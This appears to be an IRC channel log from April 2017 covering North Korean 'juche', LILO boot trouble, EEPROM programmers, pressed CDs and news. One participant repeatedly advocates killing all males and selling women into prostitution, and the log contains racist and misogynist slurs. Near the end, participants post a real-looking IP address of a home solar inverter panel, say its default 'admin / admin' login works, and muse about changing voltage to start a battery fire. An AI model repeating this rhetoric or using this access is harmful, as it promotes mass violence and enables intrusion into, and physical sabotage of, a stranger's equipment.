1638140;1491416243;mircea_popescu;akbarjon djalilov. sounds legit. 1638141;1491416370;Framedragger;CompanionCube: i checked and apparently selenium is primarily branded as 'automation framework' - you're right (but folx use it for scraping) 1638142;1491416410;mircea_popescu;i've been meditating on this, wtf is www even for, again ? 1638143;1491416411;asciilifeform;CompanionCube: are you familiar with 'juche' ? 1638144;1491416423;CompanionCube;asciilifeform: the north korean ideology? not really. 1638145;1491416435;asciilifeform;it is thought to be a trademark of north kr, but really goes back to the time of confucius 1638146;1491416443;mircea_popescu;o.O 1638147;1491416453;asciilifeform;represents one of the possible 'magnetic poles' for a small, unimportant country living next to great empire 1638148;1491416454;mircea_popescu;alf is kim jong lol convert ?! 1638149;1491416488;asciilifeform;alf is not expert on the east, but knows a little of the insider wank, and suspects that it is relevant, so: 1638150;1491416510;asciilifeform;juche ~= 'we may be savages, and our trucks have wheels with bamboo spokes, but they are OUR trucks' 1638151;1491416521;asciilifeform;there is an opposite of it, that you don't get to hear about much, 1638152;1491416547;asciilifeform;represented by south kr, 1638153;1491416570;asciilifeform;i forget the original term, but translates to eng as something like 'kowtow' (originally itself a corruption of chinese word) 1638154;1491416574;asciilifeform;means 'bow to the great ones' 1638155;1491416597;asciilifeform;orc elites tend to fall into 'juche' xor 'kowtow'. 1638156;1491416626;mircea_popescu;and you propose juche is defensible ? 1638157;1491416634;asciilifeform;su -- maybe 80% juche; 90s ru -- 90% kowtow ; modern ru -- though i observe from afar -- maybe half. 1638158;1491416658;mircea_popescu;seems to me ~= to the idiocy in http://trilema.com/2014/the-death-of-taxes/#footnote_4_55254 1638159;1491416670;asciilifeform;mircea_popescu: in the sense where 'let! whole world gang up on our tiny country, we will soldier on' it is not a shining success, no. 1638160;1491416673;mircea_popescu;what happened to "butcher all the males, sell all the females into prostitution", like god intended ? 1638161;1491416688;mircea_popescu;that's the correct solution to "we all started in 5k bc, but zee germanz got tanks first" 1638162;1491416722;asciilifeform;mircea_popescu: i am making an observation here, rather than prescription. (teaching tiny and hopelessly outnumbered eastern monkeystans how to kill billion-man enemy -- is above my pay grade) 1638163;1491416768;mircea_popescu;but what is the observation ? 1638164;1491416781;asciilifeform;that there are two basic flavours of how orc reacts to learning about the white man. 1638165;1491416788;mircea_popescu;ah. yeah, granted. 1638166;1491416826;asciilifeform;assimilationist ('i'ma go to new york and suck white cock the rest of my days') or irredentist ('i'ma learn to ride horses, shoot rifles, and kill as many of them as i can') 1638167;1491416848;mircea_popescu;as for instance the recent princeton thing may have suggested, /me is not at all fond of this juche business. 1638168;1491416865;asciilifeform;not sure how connects ? 1638169;1491416901;Framedragger;(the latter (irredentist) in my mind are filed under 'reactionary' (maybe not the right word), yeah; iac, many fall into these, it seems) 1638170;1491416926;asciilifeform;Framedragger: twist: the part of ru that has any kind of intellectual or even biological future -- is the juche. 1638171;1491416980;mircea_popescu;asciilifeform what do you suppose their wankery is, besides "oh, we got nothing but teh fighting spirit! princeton lives on!11" 1638172;1491416983;Framedragger;this almost seems worth of an asciilifeformitonic article 1638173;1491416990;Framedragger;worthy* 1638174;1491417013;mircea_popescu;asciilifeform that is drastically untrue. the part that has any sort of intellectual future is the butchering of the failed males. 1638175;1491417019;asciilifeform;mircea_popescu: i'd bet they see ~us~ as the outnumbered zulu. not themselves. 1638176;1491417032;mircea_popescu;this is a delusion shared by all orcs, including the original jucheans. 1638177;1491417050;asciilifeform;mircea_popescu: by the time you have 'failed males' lined up for butchery, it's game over, and no one remembers the internal wank. 1638178;1491417061;asciilifeform;subj is about not-quite-dead people. 1638179;1491417067;mircea_popescu;note that at the time british liutenant fucked "empress of true sky blabla" because he felt like it that day, the english were also "outnumbered" 1638180;1491417076;mircea_popescu;pity headcount doesn;t do anything by itself. 1638181;1491417080;asciilifeform;for instance, who butchered which failed males in korean war ? 1638182;1491417082;deedbot;http://phuctor.nosuchlabs.com/gpgkey/E836F842CBA3F5EFFCD4C2F99AA5A990C0EA103949008980CF48E5F741D11023 << Recent Phuctorings. - Phuctored: 1498...8037 divides RSA Moduli belonging to '95.141.113.130 (ssh-rsa key from 95.141.113.130 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown FR R 49) 1638183;1491417082;deedbot;http://phuctor.nosuchlabs.com/gpgkey/E836F842CBA3F5EFFCD4C2F99AA5A990C0EA103949008980CF48E5F741D11023 << Recent Phuctorings. - Phuctored: 1769...0853 divides RSA Moduli belonging to '95.141.113.130 (ssh-rsa key from 95.141.113.130 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown FR R 49) 1638184;1491417092;asciilifeform;was, what, 5 mil . from both sides, approx same, iirc. 1638185;1491417092;mircea_popescu;asciilifeform i was being prescriptive, not descriptive. 1638186;1491417108;asciilifeform;it is not yet decided which side was 'failed males, for butcher.' 1638187;1491417112;mircea_popescu;the correct path forward to "make america great again" is to kill everyone male and ship everyone female to beijing for auctioning off. 1638188;1491417150;asciilifeform;somewhere in ancient assyria, a great general fell into time warp, went missing ! 1638189;1491417154;mircea_popescu;a much milder version of this is how, eg, russia came back ; and certainly how china even became a thing wihin our lifetimes. 1638190;1491417158;asciilifeform;(and is walking around today!!111) 1638191;1491417161;mircea_popescu;when mp was a wee tyke, china was a kind of ghana. 1638192;1491417193;CompanionCube;!$ ssh 95.141.113.130 1638193;1491417194;scriba;ssh banner of 95.141.113.130 as seen on 2016-06-13: SSH-2.0-OpenSSH_4.3p2 Debian-9 1638194;1491417369;mircea_popescu;did i recount the story of the very respectable fellow who lived with us for a week or so early 90s ? 1638195;1491417397;asciilifeform;mircea_popescu: south kr (or, specifically, the american puppet gov there) was quintessential 'kowtow' : their first dictator was quite equiv. to a figure like quisling, even had a medal personally pinned on him by hirohito -- for hunting partisans in the north (partisans of whom kim the 1st was the chief, incidentally) 1638196;1491417403;asciilifeform;which is the 'failed males' ? 1638197;1491417420;asciilifeform;i dare say, the ones that put on the cock cages ~voluntarily~ -- are. 1638198;1491417457;mircea_popescu;all the speakers of the failed language. 1638199;1491417508;asciilifeform;if the sun were still shining on the brit empire, and 'no shit , the monkeys are monkeys, we simply haven't gotten around to rendering them for meat and occupying the valuable lands' -- this position would be tenable. 1638200;1491417682;mircea_popescu;hey, what can i tell you. if you were in the town when the town caught a little fire, uncle celestial teapot wants you. noli turbare circulos meos may work, but just as well may not work. 1638201;1491417758;mircea_popescu;merv, or generally the mongol reduction of persia from a coupla million to a coupla hundred thousand is the fundamental civilisational act. not the building of the scum, but the purging of it. much like "writing prb" is not an achievement in computer science ; but purging it into trb is. 1638202;1491417788;asciilifeform;garbagecollector lol 1638203;1491417795;mircea_popescu;not even. selector. 1638204;1491418005;asciilifeform;but, upstack : it is not yet clear which the 'failed language' is. 1638205;1491418016;asciilifeform;not until game properly over. 1638206;1491418019;mircea_popescu;well, hopefully it becomes. 1638207;1491418271;deedbot;http://qntra.net/2017/04/majority-black-ferguson-missouri-re-elects-white-man-as-mayor/ << Qntra - Majority Black Ferguson Missouri Re-Elects White Man As Mayor 1638208;1491418490;danielpbarron;http://btcbase.org/log/2017-04-05#1638106 << whatever the defaults. and before anyone says "why didn't you backup" -- I do have a mysqldump containing most of the articles. missing the last few between last dump and system death. 1638209;1491418490;a111;Logged on 2017-04-05 18:06 mircea_popescu: danielpbarron what format is the mysql database stored as, sql ? its native binary whatever it is ? 1638210;1491418516;mircea_popescu;reinstating from the dump is easy, just go into the bash and say mysql < file 1638211;1491418518;danielpbarron;biggest hurdle is getting my hands on a copy of mp-wp 1638212;1491418527;mircea_popescu;ugh. why ? 1638213;1491418534;mircea_popescu;who was maintaining that thing anyway! 1638214;1491418540;shinohai;danielpbarron: Didn't I give yu a copy? 1638215;1491418556;danielpbarron;i don't have a copy. maybe freenode dropped a line idk 1638216;1491418573;mircea_popescu;redo! 1638217;1491418635;danielpbarron;also i've been banging my head against a wall trying to figure out how to get LILO to work (should have taken notes the first time!!) 1638218;1491418652;*;shinohai checks his archives 1638219;1491418683;mircea_popescu;notes! 1638220;1491418697;danielpbarron;LILO is the last thing in my way of publishing a gentoo-quest for eulora recipe 1638221;1491418714;mircea_popescu;o hey! 1638222;1491418722;asciilifeform;lilo is pretty well documented 1638223;1491418732;asciilifeform;danielpbarron: or are we talking about exotic iron here 1638224;1491418732;*;mircea_popescu also uses lilo, what dun werk ? 1638225;1491418766;CompanionCube;any particular reason for lilo over syslinux or grub? 1638226;1491418769;danielpbarron;i don't think it's exotic. hp xw9400 workstation 1638227;1491418789;danielpbarron;lilo drags in way less code than grub 1638228;1491418808;CompanionCube;true, but so does 1638229;1491418820;asciilifeform;danielpbarron: phun phakt : that thing uses a relabeled remake of one of my favourite tyan mobos. 1638230;1491418849;danielpbarron;while on that subject: i hear it has hardware raid built in. do you recommend using this? 1638231;1491418854;mircea_popescu;CompanionCube grub is large. 1638232;1491418871;asciilifeform;danielpbarron: mine had an empty pad where the raid oughta be, so i have nfi 1638233;1491418874;*;CompanionCube would go for syslinux if smallness/simplicity was desired 1638234;1491418879;asciilifeform;it's a what, lsi chip ? 1638235;1491418887;danielpbarron;idk 1638236;1491418913;asciilifeform;danielpbarron: i have not tried it personally. but, given the vintage, i suspect that it is same chip as on my 3ware. 1638237;1491418915;mircea_popescu;look lol 1638238;1491418917;asciilifeform;or very similar. 1638239;1491418925;asciilifeform;and will work just as well (which is -- quite well.) 1638240;1491418938;asciilifeform;i.e. true hardware raid. 1638241;1491418947;danielpbarron;i can get lilo to show its kernel select menu, and then i tries over and over again (with seemingly random time before giving up) to load the kernel 1638242;1491418988;asciilifeform;danielpbarron: what are you booting from ? 1638243;1491418994;mircea_popescu;as in kernel panic of nothing ? 1638244;1491418996;asciilifeform;( the raid ? plain sata ? ) 1638245;1491419000;danielpbarron;plain sata 1638246;1491419003;asciilifeform;hm. 1638247;1491419031;mircea_popescu;"unable to sync kernel panic" anything ? 1638248;1491419031;danielpbarron;the kernel works. i tested it in grub2 1638249;1491419053;danielpbarron;the error code is 0xFF 1638250;1491419057;mircea_popescu;ah 1638251;1491419112;mircea_popescu;is that from the raid controller ? "unusual device" ? 1638252;1491419137;mircea_popescu;ie, are you sure you put the drive as the FIRST physical device in the "array" ? 1638253;1491419154;danielpbarron;hm 1638254;1491419166;mircea_popescu;because otherwise it doesn't loop and fails to find it. 1638255;1491419169;danielpbarron;that's worth checking out 1638256;1491419208;danielpbarron;i have lilo working on this machine infront of me that runs eulora, same hp workstation, but it is using an IDE cable to connect rather than sata 1638257;1491419235;mircea_popescu;iirc that bug was eventually fixed but possibly not in your version. 1638258;1491419267;danielpbarron;yeah lilo needs /boot to be in "the first 1024 cylinders of one of the first 2 drives" 1638259;1491419302;asciilifeform;danielpbarron: what happens if you set your sata (in bios) to 'legacy' mode ? 1638260;1491419322;asciilifeform;(i suspect that your lilo is not built with 'native' sata support) 1638261;1491419601;shinohai;danielpbarron: http://btcinfo.sdf.org/uploads/wp-mp.tar.gz 1638262;1491419727;danielpbarron;mind encrypting the sha512 of that to my key? 1638263;1491419760;shinohai;Sure one sec 1638264;1491419760;danielpbarron;er um, signing it too. or i can send you random string to enclude with it if you want 1638265;1491419782;shinohai;nah gimmie just a sec ill sign it 1638266;1491419786;danielpbarron;cool 1638267;1491419806;shinohai;!!key danielpbarron 1638268;1491419807;deedbot;http://wot.deedbot.org/155934BDD16E8EAF4493CB9CB36AE9849D961AC9.asc 1638269;1491419893;danielpbarron;asciilifeform, i don't see where i would set 'legacy' mode in my bios 1638270;1491420042;asciilifeform;it's a thing that has 2 modes, 'ahci' and 'legacy' (or 'compatibility') 1638271;1491420047;asciilifeform;tyan has the option 1638272;1491420059;asciilifeform;iirc coreboot(linuxbios) had a flag also 1638273;1491420062;asciilifeform;but i have nfi what hp has. 1638274;1491420082;asciilifeform;(incidentally if you go coreboot, you don't need a bootloader...) 1638275;1491420483;asciilifeform;danielpbarron: mega-advice from asciilifeform's house of pain : back up the eeprom !!! 1638276;1491420491;asciilifeform;before you experiment with handmade firmware. 1638277;1491420518;danielpbarron;heh, k 1638278;1491420528;asciilifeform;i recommend TL866 programmator. 1638279;1491420548;asciilifeform;afaik it is the ONLY ONE with documented interface and something like reasonable linux support. 1638280;1491420569;*;danielpbarron adds to notes 1638281;1491420617;asciilifeform;prior to it , i had a massive parallel port thing that needed two dozen jumpers moved when you changed chip types, and only really worked well from an emulated dos session. 1638282;1491420622;asciilifeform;threw it out, no regrets. 1638283;1491420639;asciilifeform;the chinese tl866 works for ~99% of known eproms, eeproms, GALs, PALs, micros. 1638284;1491420649;asciilifeform;(it is VERY frustrating when you find that one percent...) 1638285;1491420685;asciilifeform;afaik there is no known alternative to tl866 today other than 'spend a kilo$ and use dedicated winblowz box.' 1638286;1491420743;asciilifeform;http://www.autoelectric.cn/en/TL866_main.html << vendor www. 1638287;1491420750;asciilifeform;(forget about their software) 1638288;1491420949;asciilifeform;well, when you find an unsupported rom, there is always the last resort: http://www.loper-os.org/wp-content/mwredux/romsucker_large.png + http://www.loper-os.org/wp-content/mwredux/romsucker_working.png + http://loper-os.nfshost.com/pub/mwrom/romsucker.tgz ... 1638289;1491420968;asciilifeform;^ read it 'by hand'. 1638290;1491420993;asciilifeform;(writing -- harder; some chips have various unlockisms that have to be waltzed through first, or want a programming-voltage, or both) 1638291;1491420993;Framedragger;ouch 1638292;1491421006;asciilifeform;Framedragger: the relevant article, http://www.loper-os.org/?p=1066 1638293;1491421015;Framedragger;ah ty! 1638294;1491421025;shinohai;How to make a colorful rats-nest in 5,683 easy steps 1638295;1491421064;asciilifeform;shinohai: ftr that thing takes maybe half hour to lay out on breadboard. if you're out of practice. 1638296;1491421140;asciilifeform;danielpbarron: incidentally... if you're a brave man, you can get by without a programmator at all. hot-lift the chip, while box is running, insert blank chip, and reflash. 1638297;1491421174;asciilifeform;if you have a very steady hand, and own a plcc puller (fivebux or so, or look in the very bottom of your oldest toolbox) you can do this safely. 1638298;1491421228;asciilifeform;( a booted up and warm pc, does not use the bios rom for anything at all. other than when you write to it. ) 1638299;1491421248;asciilifeform;this is true since 1992 or so. 1638300;1491427160;BingoBoingo;!~bcstats 1638301;1491427162;jhvh1;BingoBoingo: Current Blocks: 460569 | Current Difficulty: 4.99635929816E11 | Next Difficulty At Block: 461663 | Next Difficulty In: 1094 blocks | Next Difficulty In About: 1 week, 0 days, 13 hours, 49 minutes, and 47 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1638302;1491427340;BingoBoingo; it's a thing that has 2 modes, 'ahci' and 'legacy' (or 'compatibility') << I refer to these modes internally as "James Lafond Presents Baltimore" and "Antebellum Kitchen" 1638303;1491430996;ben_vulpes;> save pbs, it makes us safer 1638304;1491431004;ben_vulpes;> parent with television, it makes your life easier 1638305;1491431009;ben_vulpes;> die in a fire with everything you love 1638306;1491431035;asciilifeform;ben_vulpes: what's a pbs 1638307;1491431070;ben_vulpes;"public broadcasting service" 1638308;1491431103;asciilifeform;the thing that tells you when the nukes have dropped ?! 1638309;1491431107;shinohai;pubic broadcasting system 1638310;1491431118;ben_vulpes;no, the thing that plays sesame street so that you can play candy crush instead of parenting 1638311;1491431119;asciilifeform;'if this were a REAL emergency...' 1638312;1491431162;ben_vulpes;"if you were a REAL human" 1638313;1491431169;asciilifeform;ben_vulpes: i thought the latest fashion is that the ~kid~ plays tetris etc 1638314;1491431175;asciilifeform;while parent -- watches tv 1638315;1491431186;ben_vulpes;i have nfi what is in fashion 1638316;1491431190;asciilifeform;me neither 1638317;1491431494;danielpbarron;oh i heard one of those "if this was a real emergency" things that actually was an "emergency" -- it said a kid was missing, last seen... WITH FATHER 1638318;1491431525;ben_vulpes;outrageous 1638319;1491431548;asciilifeform;danielpbarron: that must be new, in the old dayz radio/tv stations in usa were fined megabux for switching on the emergency box by accident 1638320;1491431557;asciilifeform;(i.e. when nukes had not fallen) 1638321;1491431570;danielpbarron;never heard of amber alert? 1638322;1491431573;asciilifeform;so, danielpbarron , what, did it pop up on ALL public channels ? 1638323;1491431576;danielpbarron;is that just a connecticut thign? 1638324;1491431578;ben_vulpes;oh hey did i successfully turn amber alerts off? 1638325;1491431579;phf;i was about to refresh my openbsd version and discovered that openbsd no longer make/sell a 3-cd set. end of an era 1638326;1491431598;asciilifeform;danielpbarron: where i live they pop up on electric traffic signs (that normally warn of jams, or of how many years of jail drunks get, etc) 1638327;1491431603;danielpbarron;oo maybe my sets are collectables now 1638328;1491431610;ben_vulpes;danielpbarron: deed dems 1638329;1491431614;*;danielpbarron has several versions, unopened 1638330;1491431620;danielpbarron;heh 1638331;1491431626;asciilifeform;phf: microshit sponsorship 'grinds slowly but it grinds fine' 1638332;1491431633;ben_vulpes;lol are you one of those numismatic folks? 1638333;1491431640;danielpbarron;shamefully yes 1638334;1491431651;phf;asciilifeform: you some kind of terrorist? 1638335;1491431657;asciilifeform;evidently 1638336;1491431672;ben_vulpes;dia de si 1638337;1491431684;asciilifeform;i find it slightly outrageous that i have a pressed aluminum ratheadlinux from 1990s but not a pressed aluminum gcc4.9 or trb-genesis etc 1638338;1491431690;danielpbarron;i have an opened 5.5, i can start with that 1638339;1491431785;ben_vulpes;asciilifeform: can one even get discs 'pressed' anymore? 1638340;1491431787;ben_vulpes;a la lulu? 1638341;1491431794;asciilifeform;ben_vulpes: a la lulu is SPECIFICALLY NOT IT 1638342;1491431796;asciilifeform;thinkaboutit 1638343;1491431799;danielpbarron;what is the proper way to deed such an item? clearsign the sha512sum ? 1638344;1491431813;asciilifeform;ben_vulpes: and yes - just need min qty of, what, 25,000 or so. 1638345;1491431816;ben_vulpes;danielpbarron: look at how mod6 did the turds 1638346;1491431825;asciilifeform;ben_vulpes: whole ~point~ is that it's expensive. 1638347;1491431831;asciilifeform;and immutable. 1638348;1491431856;asciilifeform;(it is not in fact practical to modify a pressed aluminum disk, with any current or foreseeable tech. mircea_popescu and asciilifeform had long thread about this at some point) 1638349;1491431875;asciilifeform;this however is not true of a 'burned' disk. 1638350;1491431923;danielpbarron;!!key mod6 1638351;1491431923;ben_vulpes;oh i'm sure i can modify a pressed aluminum disk 1638352;1491431924;deedbot;http://wot.deedbot.org/027A8D7C0FB8A16643720F40721705A8B71EADAF.asc 1638353;1491431928;asciilifeform;a stamped aluminum cd is second only to mask rom in longevity (i have cd 30+ yrs old) and immutability. 1638354;1491431944;ben_vulpes;perhaps will not spin after 1638355;1491431953;asciilifeform;it laughs at magnetic fields, ionizing radiation, oxygen. 1638356;1491431975;asciilifeform;ben_vulpes: 'modify' with microwave oven ain't the sort of modification i was speaking of, no. 1638357;1491431975;ben_vulpes;what is scope of 'modify' in this context; can stick in openly hostile machine? 1638358;1491431978;asciilifeform;nor with angle grinder. 1638359;1491431984;ben_vulpes;20 TON PRESS 1638360;1491431999;asciilifeform;ben_vulpes: modify in this case means 'flip chosen bits' 1638361;1491432043;phf;well, i bought 5.9 "while supplies last", though i believe they are rolling out 6.1 next 1638362;1491432130;asciilifeform;incidentally danielpbarron were these actual pressed cd ? 1638363;1491432133;asciilifeform;to begin with 1638364;1491432136;danielpbarron;yes 1638365;1491432138;asciilifeform;neato! 1638366;1491432161;danielpbarron;i bought for exactly these reasons you are going over, back when obsd was still in favor here 1638367;1491432166;asciilifeform;was there any kind of announcement, e.g. 'we stopped because Nobody Wants and Expensive' ? 1638368;1491432168;mircea_popescu;asciilifeform> the thing that tells you when the nukes have dropped ?! << the original inventors of the telethon 1638369;1491432189;phf;they are nifty cds. with artwork and "theme" and a bonus mp3 that somehow fits the theme. the works. oldschool artifact 1638370;1491432204;danielpbarron;i stopped paying much attention to obsd a year+ ago 1638371;1491432222;danielpbarron;i also have a bunch of posters 1638372;1491432234;danielpbarron;actually i'm wearing the hoodie right now, hah 1638373;1491432247;asciilifeform;lulzy/numismatic; i never had a linux/bsd poster, or cd set, or statue, etc 1638374;1491432256;danielpbarron;says openbsd in a "jesus fish" that's redesigned to look like a rocket 1638375;1491432260;asciilifeform;all i have is a plush stuffed freebsd devil -- and only because old gf gave me. 1638376;1491432278;asciilifeform;(complete with plush trident, no less.) 1638377;1491432282;ben_vulpes;in other epic fucking lulz, us customs and border handed down a 10MM penalty for violating the Jones Act 1638378;1491432290;asciilifeform;wassat 1638379;1491432304;ben_vulpes;cannot use foreign flagged vessels to transport goods between points in the us 1638380;1491432306;ben_vulpes;points in question? 1638381;1491432313;ben_vulpes;gulf of mexico and alaska. 1638382;1491432328;mircea_popescu;kek 1638383;1491432335;ben_vulpes;tahp kek. 1638384;1491432361;ben_vulpes;coulda taken the rig in question by law, but kindly agreed to a 10MM fine. 1638385;1491432362;asciilifeform;'penalties. illegal transport: 1 $. not being chinese while doing it : 9,999,999 $ .' 1638386;1491432369;phf;asciilifeform: i can't find any announcement. only mention is on the front page, everywhere else it's same as it's always been 1638387;1491432442;asciilifeform;'Only two remote holes in the default install, in a heck of a long time!' -- openbsd www. lulzy. 1638388;1491432490;asciilifeform;https://www.openbsdstore.com seems to offer cd. strictly 5.9. 1638389;1491432515;phf;right, 6.0 also had a cd, i think 5.9 is leftover stock 1638390;1491432803;asciilifeform;i still wonder how come nobody's pressed a disk of blockchain. 1638391;1491432831;asciilifeform;(yes, you will need a stack of disks, what, 15 dvd ? that ain't so much. and it compresses pretty well.) 1638392;1491432854;asciilifeform;things that have no business ever changing, ought to exist on aluminum disk and mask rom. 1638393;1491432862;shinohai;I was actually thinking about it after my last catastrophe 1638394;1491432864;asciilifeform;(and -- paper, when practical.) 1638395;1491432899;asciilifeform;a pressed disk has quite high nre cost but obscenely low unit cost. 1638396;1491432903;asciilifeform;drop'em from airplane. 1638397;1491432984;danielpbarron;oh you mean they don't sell the old ones? that's always been the case. they make a run and sell till they sell out 1638398;1491433000;asciilifeform;danielpbarron: seems like all they're selling right now is old ones 1638399;1491433004;asciilifeform;(next-to-last version) 1638400;1491433005;*;shinohai imagines eatblock pausing .... "Please insert disk 30 ...." 1638401;1491433016;mircea_popescu;good old days! 1638402;1491433020;asciilifeform;shinohai: well no. but you oughta have a binder with megatonne of old blox. 1638403;1491433026;danielpbarron;i have 5.5 5.6 5.7 and 5.8 1638404;1491433132;asciilifeform;a pressed-blockchain aluminum disk set would help to cool the enthusiasm of idiots pushing for 'pruning', 'tx replacement', whichever lunacies crafted for 'let's make'em forget history' 1638405;1491433157;mircea_popescu;this is not so. 1638406;1491433170;asciilifeform;solely as 'fleet in being' effect 1638407;1491433174;shinohai;They would simply recycle the disks 1638408;1491433180;shinohai;xD 1638409;1491433183;mircea_popescu;eh, i'm sure they don't imagine the actual blockchain may get lost. 1638410;1491433185;asciilifeform;but mircea_popescu is probably right, the beast has no central nervous system 1638411;1491433202;mircea_popescu;they just imagine they may get away with their pretense, is all. 1638412;1491433211;asciilifeform;shinohai: noshit they'd burn however many they can find. 1638413;1491433249;asciilifeform;but as a massively-distributed long-term backup, aluminum is ~unbeaten -- it's probably the only reason asciilifeform was able to find a copy of genera 1638414;1491433265;asciilifeform;(the alpha genera , 7+ yrs ago) 1638415;1491433295;asciilifeform;whereas the various things that lived on tapes -- are near extinction, in many cases. 1638416;1491433328;asciilifeform;( magnetic writing can last for surprisingly long time, if kept in comfortable conditions -- but not forever. ) 1638417;1491433330;mircea_popescu;there is that. 1638418;1491433354;*;mircea_popescu still recalls fondly when bg press plant came online, late 90s. ALL the pretense of westards re "copyright" died that day. 1638419;1491433367;mircea_popescu;came back later, of course. but for a few years -- everything was available at a quarter a pop. 1638420;1491433369;asciilifeform;bg? 1638421;1491433375;mircea_popescu;was located in teh bulgaria. 1638422;1491433377;asciilifeform;aah 1638423;1491433419;mircea_popescu;possibly the peak of bulgarian tech at the time. those dudes were enamoured with agriculture. 1638424;1491433428;asciilifeform;afaik nothing (not even web server!) beats pressed aluminum for moving-bytes-cheaply. 1638425;1491433440;asciilifeform;to this day. 1638426;1491433451;mircea_popescu;thing ran 100k iron maidens one night. it was awesome. 1638427;1491433658;deedbot;http://trilema.com/2017/the-fish-and-the-incredible-ingenuity-of-nature/ << Trilema - The fish, and the incredible ingenuity of nature. 1638428;1491433937;shinohai;Tuna looks delicious 1638429;1491434679;ben_vulpes;nerve gas attack in syria 1638430;1491434720;asciilifeform;ben_vulpes: and with same obummer gas as 1st. 1638431;1491434731;ben_vulpes;"obummer gas"? 1638432;1491434733;asciilifeform;'oh but mr.t will CHANGE THINGS!1111' lol 1638433;1491434740;asciilifeform;ben_vulpes: you already forgot the last one ? 1638434;1491434753;ben_vulpes;i might not have cared enough to register it 1638435;1491434783;asciilifeform;http://btcbase.org/log/2016-12-16#1583897 << that one 1638436;1491434783;a111;Logged on 2016-12-16 04:57 trinque: pretty hard for me to condemn assad while my ass still sits in the country that sold al qaida chemical weapons to be used, then blamed on assad. 1638437;1491434804;asciilifeform;iirc there was even a 'smoking gun' in the clitler emails, but by then 'nobody cares' 1638438;1491434845;asciilifeform;(usg shipped old gas shells to 'moderate rebels' , for phreee, to 'atrocitize' asad) 1638439;1491435349;asciilifeform;in other noose, trump fires bannon... 1638440;1491435369;asciilifeform;the, if you will, 'cuckening'. 1638441;1491435393;asciilifeform;lessee mircea_popescu explain ~this~! 1638442;1491435433;asciilifeform;'Washington (CNN)Steve Bannon, President Donald Trump's chief strategist, has been removed from his permanent seat at the National Security Council, multiple sources tell CNN, moving the council into a more traditional structure.' 1638443;1491435462;asciilifeform;'President Donald Trump reorganized his National Security Council on Wednesday, removing chief strategist Stephen Bannon from a key committee and restoring the roles of top intelligence and defense officials...' 1638444;1491435473;asciilifeform;( https://archive.is/zy9qN ) 1638445;1491435517;asciilifeform;not only that, but he put the cia stooges BACK IN. 1638446;1491435540;mircea_popescu;asciilifeform o.O 1638447;1491435559;asciilifeform;i have nfi! but dun appear to be disinfo. 1638448;1491435564;asciilifeform;looks -- actual. 1638449;1491435567;mircea_popescu;nuts. 1638450;1491435615;mircea_popescu;ah, put mcmasters in charge of nsc 1638451;1491435633;mircea_popescu;and re-promoted dan coats ? ahahaha. 1638452;1491435682;mircea_popescu;trouble at the palace! 1638453;1491435758;mircea_popescu;anyway, no explaining, ridiculous move. 1638454;1491435813;phf;maybe he's finally been explained 1638455;1491435825;asciilifeform;almost certainly 1638456;1491435827;mircea_popescu;maga significantly less likely. 1638457;1491435852;asciilifeform;'moderate rebels', ukrs, pantsuit wearers, grantolade eaters, worldwide -- rejoice 1638458;1491435862;mircea_popescu;provided one deems the difference between extremely unlikely and impossible in any sense relevant. 1638459;1491436051;asciilifeform;http://btcbase.org/log/2017-02-16#1614307 . 1638460;1491436051;a111;Logged on 2017-02-16 00:43 asciilifeform: ben_vulpes: there is no time bound on 'clitler wins' 1638461;1491436058;asciilifeform;looks like -- finally won. 1638462;1491436062;asciilifeform;imho. 1638463;1491436220;asciilifeform;meanwhile, gas attack Officially Proclaimed (incl. by mr.t) to be asad's. 1638464;1491436305;asciilifeform;(https://archive.is/dQeiu and elsewhere. ) 1638465;1491436388;mod6;<+mircea_popescu> sorry i can't hear you over the sound of hillary clinton's pantsuit. << lel 1638466;1491437098;mircea_popescu;heh. 1638467;1491437181;mircea_popescu;trinque re http://logs.minigame.bz/2017-04-06.log.html#t00:05:55 any eta on the thing ? 1638468;1491437192;mircea_popescu;i ~utterly hate~ having to tell noobs that. 1638469;1491437648;mircea_popescu;in other lulz, https://www.youtube.com/watch?v=9X-cP7lPNPI 1638470;1491437673;asciilifeform;wassat 1638471;1491437693;mircea_popescu;(ro poliwhore (romanians send the http://btcbase.org/log/2017-04-04#1637413 to politics, as opposed to runt of sons litter) reading english in rwandan at un meeting) 1638472;1491437693;a111;Logged on 2017-04-04 22:32 mircea_popescu: think in terms of that cartoon re final cs class at stanford : "and you are the idiots who didn't get hired in 2nd or 3rd year". same deal, whoring is a fine plan for cut-above-rest 16yo. by the time she's 30 she's either married or too rich to care. 1638473;1491438066;mircea_popescu;asciilifeform here's a thought : some ssh rsa keys appear on VERY MANY different C (and B, and A) ip blocks. like say randomly http://phuctor.nosuchlabs.com/gpgkey/BB80CEE8E532296E5361984A0209C5DE0169809EA68E6D2F8DE43F7A3DC4443A and friends. 1638474;1491438084;mircea_popescu;this'd be a fine indication of infection/nsaization/extremely sloppy opsec corp/whatever. 1638475;1491438089;mircea_popescu;may be worth digging into 1638476;1491438111;asciilifeform;mircea_popescu: they're all, so far, examples of http://www.loper-os.org/?p=1733 1638477;1491438120;asciilifeform;( identifiable embedded crapola ) 1638478;1491438149;asciilifeform;tropos, huawei, hiveap, a few others. 1638479;1491438161;mircea_popescu;using the same ssh key ?! 1638480;1491438188;asciilifeform;there's at least 1 that actually copied the key aha 1638481;1491438210;mircea_popescu;this is prolly worth of a qntra or something. who the fuck copies ssh keys across the field. 1638482;1491438212;asciilifeform;also lol!! >> http://141.239.148.243/home 1638483;1491438215;asciilifeform;check this out. 1638484;1491438229;mircea_popescu;ffs., 1638485;1491438233;asciilifeform;btw, 1638486;1491438235;asciilifeform;admin / admin 1638487;1491438237;asciilifeform;logs in. 1638488;1491438254;mircea_popescu;ah looks like tiny powerplant, maybe solar on someone's house ? 1638489;1491438255;asciilifeform;'These settings should only be adjusted by a licensed solar professional' 1638490;1491438255;asciilifeform;lol 1638491;1491438264;asciilifeform;poor idiots 1638492;1491438310;mircea_popescu;"Use Enlighten or contact Enphase Energy customer support for a profile change token Serial number: 110939095462 Authorization number: 95477310" 1638493;1491438311;mircea_popescu;genius. 1638494;1491438330;phf;asciilifeform: do you have a set of high dpi (150/200) bitmap fonts for x11 that you use by any chance? 1638495;1491438331;mircea_popescu;so if i change the settings now re eg voltage ima start a battery fire. 1638496;1491438373;asciilifeform;mircea_popescu: you can -- it looks -like -- switch'em all off ,at least. 